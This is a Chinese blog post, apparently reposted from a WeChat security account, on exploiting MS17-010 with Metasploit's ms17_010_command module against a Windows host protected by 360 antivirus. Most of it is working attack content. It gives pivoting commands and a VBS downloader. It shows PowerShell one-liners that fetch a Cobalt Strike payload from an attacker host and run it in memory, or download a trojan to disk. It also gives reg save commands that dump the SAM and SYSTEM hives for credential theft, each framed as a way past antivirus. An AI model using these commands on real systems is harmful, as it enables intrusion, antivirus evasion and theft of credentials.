前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MS17-010永恒之蓝绕过数字上线

MS17-010永恒之蓝绕过数字上线

作者头像
潇湘信安
发布2024-04-23 12:21:29
2940
发布2024-04-23 12:21:29
举报
文章被收录于专栏:潇湘信安潇湘信安

0x00 前言

@格林师傅在实战中遇到的一个场景:已代理进内网,通过扫描发现内网某台主机存在有MS17-010,但是因为这台机器上存在360而无法直接利用,不过可以通过ms17_010_command模块执行命令,现在我们需要考虑的是如何绕过360将免杀木马落地到目标磁盘、或者远程加载执行上线。

0x01 场景复现

已经获取Meterpreter会话,执行以下两条命令将攻击机添加进虚拟路由,这样就能直接用MSF下的模块对内网其他机器进行扫描和利用,无需再用Proxychains,外部工具需要,如下图所示。

代码语言:javascript
复制
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.1.0/255.255.255.0

使用smb_ms17_010模块扫描发现192.168.1.112存在永恒之蓝漏洞,但在用ms17_010_eternalblue模块利用时没有成功,好像是尝试进行身份验证时遇到了访问被拒绝,如下图所示。

代码语言:javascript
复制
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.112
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit

不过我们最后发现可以使用ms17_010_command这个模块执行系统命令,当然这是在没有安装360等安全防护的情况下才能正常执行命令...,如下图所示。

代码语言:javascript
复制
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.1.112
msf5 auxiliary(admin/smb/ms17_010_command) > set command whoami
msf5 auxiliary(admin/smb/ms17_010_command) > exploit

如果安装有360的情况下使用ms17_010_command模块执行系统命令时就可能会出现以下报错,没有执行命令的回显,@格林师傅遇到的就是这种,如下图所示。

注:360那边没有出现拦截弹窗,但可以确定就是它的问题,因为退出360就不会再报错。多次测试后发现可以尝试多执行几次exploit,有时也能成功,如下图所示。

0x03 问题分析

从上图报错信息中可以看到是因为没有读取到temp下的某个.txt而无法获取命令执行结果,应该是将命令执行结果写到.txt文件,然后通过读取这个文件来进行回显,如下图所示。

看了下ms17_010_command模块源码,确定是在漏洞利用过程中在temp下以随机命名方式写了一个执行命令的.bat,再将命令执行结果写到随机命名的.txt中,如下图所示。

注:我们在实战测试中如果有用到ms17_010_command模块,记得在完成所有操作后一定要去清理下Temp临时目录中可能残留的.bat、.txt文件,找当天日期的删掉即可。

0x03 落地测试

开始我们是想直接写一个vbs下载者脚本远程下载一个免杀木马,或者是将免杀木马转为base64/hex编码后写入再使用certutil命令解码落地文件,最后执行上线。

但是在经过测试后发现使用echo、set /p、mshta和powershell等各种写文件方式都失败了,猜测可能是某些字符需要转义或闭合问题,测试了挺久,如下图所示。

代码语言:javascript
复制
cmd /c "echo set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 > C:\\ProgramData\\down.vbs"

最后发现写不进去的原因是command参数设置的命令存在'"单双引号的问题,这时我们得在引号前边加上一个\反斜杠进行转义即可,360没有拦截,如下图所示。

代码语言:javascript
复制
cmd /c \"echo set a=createobject(\"adod\"+\"b.stream\"):set w=createobject(\"micro\"+\"soft.xmlhttp\"):w.open \"get\",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 > C:\\ProgramData\\down.vbs\"

文件虽然写进去了,但在执行vbs下载者时被360拦截查杀了,而且也不能使用certitil命令解码,360也会拦截-decode、-decodehex,果断放弃了这两种方法,如下图所示。

这里我也尝试了下将脚本中的危险组件通过混淆来免杀,结果还是不行,大家可以自己去尝试下免杀这个脚本,或者找其他同类型的免杀vbs脚本,在这种场景下还是可以利用的。 注:文件落地、白名单以及远程加载执行的方法有很多,这里我只简单测试了几个常用的,不排除还有些冷门没被关注到的方法还可以用于绕过,这就需要大家自己去了解测试了。

0x04 绕过方法

我们常用的文件落地、白名单和远程加载等方式基本都被360给拦截了,不过还是可以去测试一下,说不定在这种场景下能过呢?这里我就不逐个去试了,绕过思路无非就以下几种。

代码语言:javascript
复制
文件落地执行上线(Bypass 360)
白名单文件执行上线(Bypass 360)
远程加载内存执行上线(Bypass 360)

(1) 远程加载内存上线

我们直接使用@格林师傅提供的一个Powershell远程加载命令将Payload加载到内存中执行上线,360不会拦截,虽然执行过程中可能会有报错,但这并不影响正常执行上线。 Cobaltstrike生成一个Powershell Command的Payload,删除无用内容,保留双引号的内容即可,然后再将这个Payload.txt放在Web目录下用于远程调用执行,如下图所示。

ms17_010_command模块设置command参数为我们要执行的Powershell命令,注意要用\反斜杠转义下单双引号,执行exploit虽然有报错,但是已经成功上线了,如下图所示。

代码语言:javascript
复制
powershell Add-Type -AssemblyName \'System.Net.Http\';$content = (New-Object System.Net.Http.HttpClient).GetAsync(\'http://192.168.1.110/payload.txt\').Result.Content.ReadAsStringAsync().Result;$scriptBlock=[ScriptBlock]::Create($content);$scriptBlock.Invoke()

(2) 文件落地执行上线

我们也可以将以上Powershell命令稍微改下,不直接执行Payload上线,而是改为可绕过360进行文件下载落地的命令,将免杀木马下载落地到磁盘,执行也都会出现报错,如下图所示。

代码语言:javascript
复制
powershell Add-Type -AssemblyName \'System.Net.Http\';$content = (New-Object System.Net.Http.HttpClient).GetAsync(\'http://192.168.1.110/muma.exe\').Result.Content.ReadAsByteArrayAsync().Result;[IO.File]::WriteAllBytes(\'C:\\ProgramData\\muma.exe\', $content)

powershell (Invoke-RestMethod -Uri \"http://192.168.1.110/muma.exe\" -OutFile \"C:\\ProgramData\\muma.exe\")

免杀木马成功落地到磁盘,我们还需要考虑执行时可能被360拦截进程链的情况,如果有,可以尝试用一些白名单来执行,这里测试并没有被拦截,所以直接执行即可上线,如下图所示。

注:我们在Metasploit的某些模块下执行命令时如果带有'"单双引号可能会被过滤掉,需要在引号前边加上一个\反斜杠进行转义才行,路径也不能用\,要用\\

以上Powershell命令解释:

  1. Add-Type引入.NET Framework(System.Net.Http);
  2. $content变量(GetAsync方法检索指定URL的HTTP响应,ReadAsStringAsync或ReadAsByteArrayAsync方法读取文件内容);
  3. scriptblock类的Create方法将$content变量内容创建为一个代码块,Invoke方法执行代码块中的Powershell脚本或者命令;
  4. IO.File类WriteAllBytes方法将$content变量中的字节数组重写入到一个新的文件。

注:如果想要下载落地PE文件时不能使用ReadAsStringAsync字符串,而是改用ReadAsByteArrayAsync字节数组,否则可能出现落地文件与原文件大小不一致,最终导致执行不了的情况。

代码语言:javascript
复制
Add-Type -AssemblyName 'System.Net.Http';
$content = (New-Object System.Net.Http.HttpClient).GetAsync('URL').Result.Content.ReadAsStringAsync().Result;
$scriptBlock=[ScriptBlock]::Create($content);$scriptBlock.Invoke()
代码语言:javascript
复制
Add-Type -AssemblyName 'System.Net.Http';
$content = (New-Object System.Net.Http.HttpClient).GetAsync('URL').Result.Content.ReadAsByteArrayAsync().Result;
[IO.File]::WriteAllBytes('muma.exe', $content)

0x05 思路拓展

(1) 如果这个内网有其他已控机器,可以在这台机器上开启一个临时的匿名共享,将免杀木马放在这个匿名共享的目录中,然后再去执行上线即可,但是这里测试失败了,不知道为啥执行不了?

代码语言:javascript
复制
\\192.168.1.110\\FileShare\\artifact.exe

(2) 或者我们也执行相关命令将SAM、SYSTEM或者lsass.exe进程的转储文件导出到匿名共享目录,然后再脱到我们本地用Mimikatz解密,以下命令在执行多次后可能也会被360拦截...。

代码语言:javascript
复制
cmd /c \"reg save hklm\\sam C:\\ProgramData\\sam.hiv /y\"
cmd /c \"reg save hklm\\system C:\\ProgramData\\system.hiv /y\"

注:以上提到的两个利用思路也能用于诸如MSSQL站库分离等其他场景,不过记得在利用完成后一定要去关闭下那个临时匿名共享,可参考:MSSQL不出网文件落地上线

(3) 如果有编写和免杀dll的能力,也可以直接用NSA原生MS17-010漏洞利用程序加载dll添加管理员用户和开启3389端口进行远程桌面连接(@f1r3K0师傅补充,我没有去测试)。

(4) 我们也可以去测试下这篇文章中的方法:如何使用Eternalblue攻击Windows Server 2012 R2,但老装不上impacket,也没有Proxychains,懒的再去测试了,大家自己试试吧。

代码语言:javascript
复制
https://medium.com/swlh/how-to-attack-windows-server-2012-r2-using-eternalblue-6d0be2dfd4ad

0x06 参考链接

代码语言:javascript
复制
https://xz.aliyun.com/t/12989
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.http.httpclient?view=net-7.0
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.http.httpcontent?view=net-7.0
https://learn.microsoft.com/zh-cn/dotnet/api/system.io.file?view=net-7.0
https://learn.microsoft.com/zh-cn/dotnet/api/system.management.automation.scriptblock?view=powershellsdk-7.3.0
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-04-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
腾讯云服务器利旧
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档